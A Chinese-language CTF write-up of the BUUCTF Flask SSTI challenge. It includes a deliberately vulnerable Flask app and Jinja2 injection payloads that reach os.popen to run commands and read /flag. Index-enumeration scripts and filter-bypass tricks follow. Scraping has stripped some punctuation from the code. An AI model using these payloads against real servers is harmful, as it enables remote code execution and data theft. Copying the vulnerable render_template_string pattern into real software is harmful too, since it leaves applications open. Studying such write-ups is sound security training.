ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Flask SSTI模板注入从原理到命令执行实战解析

Flask SSTI模板注入从原理到命令执行实战解析 1. 题目分析与环境准备1.1 先看这道题在考什么BUUCTF 上的[pasecactf_2019]flask_ssti是一道非常典型的 SSTIServer-Side Template Injection服务端模板注入入门题。题目名称里直接给出了两个关键信息flask和ssti说明目标是一个基于 Flask 框架的 Web 服务漏洞点大概率出现在模板渲染环节。我第一次看到这个题名第一反应是果然又是 Flask SSTI 的经典组合。为什么这个组合如此高频原因很简单Flask 默认使用 Jinja2 作为模板引擎而 Jinja2 的模板语法本身具备调用 Python 对象属性、方法的能力。一旦开发者把用户输入直接拼进模板字符串再渲染就相当于把一把能访问 Python 内部对象的钥匙交给了攻击者。这道题在 pasecactf 2019 中属于入门级 Web 题但它的价值在于几乎涵盖了 SSTI 从探测到利用的完整链路。做完这一题你再去刷 vulhub 上的flask/ssti漏洞环境或者尝试绕过各种 WAF 过滤会顺畅很多。1.2 搭建本地调试环境做题之前我强烈建议先把本地环境搭起来因为远程环境你只有一次打成功的机会BUUCTF 平台限流量反复试错会浪费宝贵的请求配额。本地用 Docker 跑一个最简单的 Flask SSTI 环境FROM python:3.8-slim RUN pip install flask2.0.3 COPY app.py /app.py CMD [python, /app.py]app.py写的就是一个存在漏洞的demo和题目逻辑一致from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, %s!/h1 % name return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000)这里的关键点是render_template_string配合%s直接拼接用户输入被原封不动地塞进模板字符串里。如果用render_template配合模板文件开发者通常会使用{{ name }}这种变量占位符反而不会那么容易被注入。所以看到render_template_string基本可以高度怀疑 SSTI。2. SSTI 漏洞原理与探测手法2.1 Jinja2 模板引擎为什么危险很多人第一次接触 SSTI 时会困惑不就是渲染个字符串吗怎么就能执行命令了这要从模板引擎的设计说起。Jinja2 允许在模板中使用{{ expression }}来输出表达式的结果这个表达式可以是一个变量、一次运算甚至是一次函数调用。模板引擎本身不会限制你访问什么对象它默认信任模板作者。当攻击者可以控制模板内容时就等于获得了在模板中执行任意 Python 表达式的能力。用一个生活化类比模板引擎就像一个翻译官你把一段带占位符的文本交给它它会按照语法规则把占位符替换成实际内容。但你递给它的文本里如果混进了执行指令翻译官也会老老实实地帮你执行——因为它分不清哪些是数据、哪些是指令。SSTI 利用的核心链条是从模板语法中的一个变量出发通过.访问属性、()调用方法、[]索引取值一路摸到 Python 的全局对象最终找到能执行命令或者读文件的入口点。2.2 探测阶段判断是否存在模板注入拿到题目先访问根路径用最简单的 payload 测试/?nametest页面正常回显Hello, test!说明 name 参数被渲染了。接下来用模板表达式测试/?name{{7*7}}如果页面回显Hello, 49!说明模板表达式被执行了——SSTI 实锤。我当时实测这一步回显是49没有任何过滤。这就意味着我可以直接在模板里写任意 Jinja2 表达式。对于这道题来说探测阶段到此结束不需要再费力气去试各种混淆绕过。注意如果目标存在过滤比如关键词 ban 了{{、()、.等才需要进入绕过环节。BUUCTF 这道原题没有过滤所以新手可以把精力全放在利用链构建上。2.3 利用链的起点寻找可用对象SSTI 利用的核心思路是从模板上下文出发通过对象属性链找到危险函数。Jinja2 模板中有几个内置对象是固定的探索起点self当前模板对象可以访问内部属性configFlask 应用的配置对象里面常有 SECRET_KEY 等敏感信息request当前请求对象可以访问 args、headers、cookies 等g应用全局变量url_for、get_flashed_messagesFlask 内置函数这些对象本身没有命令执行能力但它们是跳板。以空字符串为例它属于str类而str类可以通过__mro__拿到它的继承链一路往上找object基类再从object的子类中搜索那些导入了os模块的类——比如subprocess.Popen、os._wrap_close等。经典的利用链是.__class__.__mro__[2].__subclasses__()拿到所有 object 子类后遍历找到可以执行系统命令的类。这个思路类似于你拿到了一栋大楼的房卡模板注入刷卡进入大堂__class__坐电梯到地基__mro__然后从大楼所有房间清单__subclasses__里找到工具间os相关类拿到工具system函数干活。3. 核心利用链构造与命令执行3.1 逐步拆解 payload我一步一步来拆解最终打通的 payload/?name{{.__class__.__mro__[2].__subclasses__()}}这个 payload 的作用是列出object基类的所有子类。能访问__class__是因为模板中的空字符串是一个真实的str实例通过它反向获取类型对象。__mro__返回继承顺序元组[2]通常就是object。最后__subclasses__()返回所有直接或间接继承自object的类列表。在实际操作中这个列表会非常长根本不可能人工翻。所以推荐在本地环境用脚本先跑一遍把类名和索引对应关系存下来from jinja2 import Template payload {{.__class__.__mro__[2].__subclasses__()}} t Template(payload) result t.render() # 解析结果打印出每个类的索引和名称我本地跑出来subprocess.Popen通常出现在索引几百的位置不同 Python 版本、不同 Flask 版本下位置会变。所以打远程之前一定要先确认目标的 Python 版本最好的确认方式就是先无差别地列出所有子类再在结果里查找目标类。3.2 找os模块相关类执行命令的方式不止一种常见的有subprocess.Popen类直接通过它启动子进程执行命令某个导入了os模块的类通过__init__.__globals__拿到os模块再调用os.system或os.popen第二种方式更通用因为os在 Flask 应用里有大量类会引用。例如os._wrap_close、communicate相关的类等。可以利用__globals__拿到模块的全局命名空间就是 Python 里每个函数都带的一个随身字典属性记录了它所在模块里所有的全局变量、函数和模块引用。一个比较稳的 payload 是/?name{{.__class__.__mro__[2].__subclasses__()[索引].__init__.__globals__[os].popen(id).read()}}这个 payload 的逻辑是选中一个导入了os的类 - 访问它的__init__方法 - 通过__globals__拿到全局字典 - 取os模块 - 调用popen执行命令并读取输出。找索引这一步最磨人。我写了一个简单的本地脚本来自动搜索import requests url http://127.0.0.1:5000/ # 先获取子类列表 r requests.get(url, params{name: {{.__class__.__mro__[2].__subclasses__()}}}) subclasses r.text # 实际需要解析字符串列表 # 定义一个关键词列表匹配包含 os 或 subprocess 的类 keywords [os, subprocess, Popen]更省事的办法是直接在本地用 Python 脚本枚举目标 Flask 环境下的子类再用二分法或者逐个尝试的方式在远程验证哪个索引有效。BUUCTF 的题目环境版本固定打一次成功后记录索引以后遇到同类题就能秒出。3.3 读取 flag题目没有过滤所以直接命令执行就行。拿到 shell 权限后的第一件事是找 flag 文件的位置。常见路径有/flag、/flag.txt、/app/flag等。先执行ls看看目录结构/?name{{.__class__.__mro__[2].__subclasses__()[索引].__init__.__globals__[os].popen(ls /).read()}}如果/下没有再find / -name flag*全局搜索。命令执行的通话需要 URL 编码尤其是空格、引号、/这些字符建议用curl --data-urlencode或者写 Python 脚本把所有 payload 做一次 URL 编码再发送。我最终用到的读取 payload 是/?name{{.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[os].popen(cat /flag).read()}}这里索引 139 只是示例实际题目环境里索引可能完全不同。不要照抄一定要自己枚举确认。4. 常见问题与过滤绕过思路4.1 索引位置不固定怎么办这是 SSTI 题目里最常遇到的问题。同一条 payload在 Python 2.7、3.6、3.8、3.10 下跑出来的子类顺序都可能不一样Flask 版本不同也会导致差异。解决方式就一个字枚举。分两种做法本地起一个和目标版本一致的环境直接列出所有子类确定目标索引远程逐个尝试索引写脚本按照可能的目标类名做模糊匹配我推荐写一个自动化脚本把远程返回的子类列表解析成数组然后用关键词搜索引。这样一次就能拿到所有候选位置。比如import requests import re url http://target/ payload {{.__class__.__mro__[2].__subclasses__()}} r requests.get(url, params{name: payload}) # 粗解析找到 class xxx.xxx 的模式 classes re.findall(rclass ([^]), r.text) for i, c in enumerate(classes): if os in c.lower() or subprocess in c.lower(): print(i, c)这个脚本只是辅助实际题目的回显可能包含 HTML 包裹正则要跟着调。核心思路是先无脑列出再自动筛选而不是肉眼在一堆类名里大海捞针。4.2 过滤了某些字符怎么办如果题目过滤了、、.、_、[、]这些常见字符就需要绕过技巧。虽然这道题没过滤但我自己刷题时总结了几套通用绕过方案可以留作备用过滤引号用request.args传参代替字符串字面量。比如{{.__class__}}可以换成{{request.args.a}}并另传一个?a__class__。字符串内容从参数里取绕过了引号过滤。过滤点号用attr过滤器替代属性访问。{{|attr(__class__)}}等价于{{.__class__}}。过滤下划线用\x5f十六进制编码代替但 Jinja2 模板里不能直接写十六进制需要配合|attr过滤器和拼接技巧。过滤__subclasses__可以用__base__、__bases__逐级向上找不一定非要__mro__[2]。绕过技巧本质上都是在字符串构造和属性访问两个环节想办法。想明白引擎怎么解析你的表达式绕过滤就容易很多。4.3 拿到 shell 后会不会遇到权限问题BUUCTF 环境通常跑在 Docker 容器里默认是 root 权限但有些容器为了安全会降权成 nobody。如果是 nobody 权限cat文件一般没问题但写文件、反弹 shell 可能会受限。遇到这种情况优先读取 flag不要恋战。另外注意popen的返回需要.read()才能拿到完整输出只调用popen(id)不会回显结果。这是新手最容易漏掉的一步。5. 实操总结与经验心得这道[pasecactf_2019]flask_ssti做完之后我对 SSTI 的理解从背 payload提升到了理解链路。再遇到其他题目不管怎么变化我脑子里都有一套固定的分析流程确认模板引擎类型Flask/Jinja2、Tornado、Smarty 等不同引擎语法和可用对象有差异确定注入点测试基础表达式是否执行尝试枚举对象链找到危险类的索引根据回显能力和过滤条件选择命令执行或者文件读取的最终 payload利用回显直接读 flag或者反弹 shell 后读文件我自己做这题时的体会是不要一上来就盯着__subclasses__里那几个固定目标类。先把最基础的{{7*7}}验到再一步步加深这样排查问题效率更高。最后分享一个小技巧做 SSTI 题的时候把本地环境版本调到和目标一致能省下大量试错时间。BUUCTF 题目环境用的容器版本在题目的 writeup 里通常有迹可循本地 Docker 跑起来后所有 payload 都可以先在本地验证一遍再发到远程。这比自己盲打远程节约的请求流量不是一点半点。
返回列表